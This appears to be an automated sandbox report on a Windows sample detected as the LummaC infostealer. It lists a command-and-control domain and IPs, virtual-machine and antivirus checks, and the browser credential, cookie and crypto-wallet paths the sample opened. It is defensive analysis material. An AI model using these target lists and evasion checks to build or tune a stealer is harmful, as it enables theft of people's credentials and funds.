Source: 9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472993398.0000000003371000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top/s(
Source: 9uB9RDznXl.exe, 00000001.00000002.1501836064.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top:443/api
Source: 9uB9RDznXl.exe, 00000001.00000002.1501836064.000000000121E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://codxefusion.top:443/apil
Source: 9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtabv209h
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: 9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: 9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: 9uB9RDznXl.exe, 00000001.00000003.1451538455.00000000033A8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/v20
Source: 9uB9RDznXl.exe, 00000001.00000003.1415125409.0000000003928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: 9uB9RDznXl.exe, 00000001.00000003.1440516201.0000000003C33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.212.102:443 -> 192.168.2.5:49733 version: TLS 1.2

Source: 9uB9RDznXl.exe, 00000001.00000003.1379876274.0000000002B07000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCodeBridge.exeH vs 9uB9RDznXl.exe
Source: 9uB9RDznXl.exe, 00000001.00000000.1345552163.0000000000F51000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenameCodeBridge.exeH vs 9uB9RDznXl.exe
Source: 9uB9RDznXl.exe	Binary or memory string: OriginalFilenameCodeBridge.exeH vs 9uB9RDznXl.exe

Source: 9uB9RDznXl.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@7/2

Source: 9uB9RDznXl.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 9uB9RDznXl.exe, 00000001.00000003.1414684412.0000000003915000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1415088879.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1414617027.00000000033C2000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1427823682.0000000003913000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: 9uB9RDznXl.exe	Virustotal: Detection: 76%
Source: 9uB9RDznXl.exe	ReversingLabs: Detection: 83%

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

File read: C:\Users\user\Desktop\9uB9RDznXl.exe

Jump to behavior

Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: fswwa.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: 9uB9RDznXl.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 9uB9RDznXl.exe

Static file information: File size 7974400 > 1048576

Source: 9uB9RDznXl.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x76de00

Source: 9uB9RDznXl.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: 9uB9RDznXl.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\9uB9RDznXl.exe TID: 6724	Thread sleep time: -30000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe TID: 6724	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003918000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 9uB9RDznXl.exe, 00000001.00000002.1501836064.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1438568097.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1439160674.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1451738134.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502162837.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1481666894.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1428453827.0000000001246000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 9uB9RDznXl.exe, 00000001.00000003.1438568097.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1439160674.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1451738134.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502162837.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1481666894.0000000001246000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1428453827.0000000001246000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,S
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 9uB9RDznXl.exe, 00000001.00000003.1427998854.0000000003913000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: 9uB9RDznXl.exe, 00000001.00000003.1499242619.000000000123B000.00000004.00000020.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472993398.0000000003371000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000003.1472919018.0000000003358000.00000004.00000800.00020000.00000000.sdmp, 9uB9RDznXl.exe, 00000001.00000002.1502162837.000000000123C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\9uB9RDznXl.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 9uB9RDznXl.exe PID: 6816, type: MEMORYSTR
Source: Yara match	File source: 00000001.00000002.1501721085.000000000116E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ta%\\Electrum\\wallets","m":[""],"z":"Wallets/Electrum","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\Electrum-LTC\\wallets","m":[""],"z":"Walle
Source: 9uB9RDznXl.exe, 00000001.00000003.1438568097.0000000001246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: 9uB9RDznXl.exe, 00000001.00000003.1472837229.0000000003368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: lplebdjjenllpjcblmjkfcffne","ez":"Jaxx Liberty"},{"en":"fihkakfobkmkjojpchpfgcmhfjnmnfpi","ez":"BitApp"},{"en":"kncchdigobghenbbaddojjnnaogfppfj","ez":"iWlt"},{"en":"kkpllkodjeloidieedojogacfhpaihoh","ez":"EnKrypt"},{"en":"amkmjjmmflddogmhpjloimipb
Source: 9uB9RDznXl.exe, 00000001.00000003.1438568097.0000000001246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 9uB9RDznXl.exe, 00000001.00000003.1416529838.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet32
Source: 9uB9RDznXl.exe, 00000001.00000003.1438568097.0000000001246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 9uB9RDznXl.exe, 00000001.00000003.1438568097.0000000001246000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: 9uB9RDznXl.exe, 00000001.00000003.1416529838.0000000003361000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\walletsA6}p#

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\9uB9RDznXl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
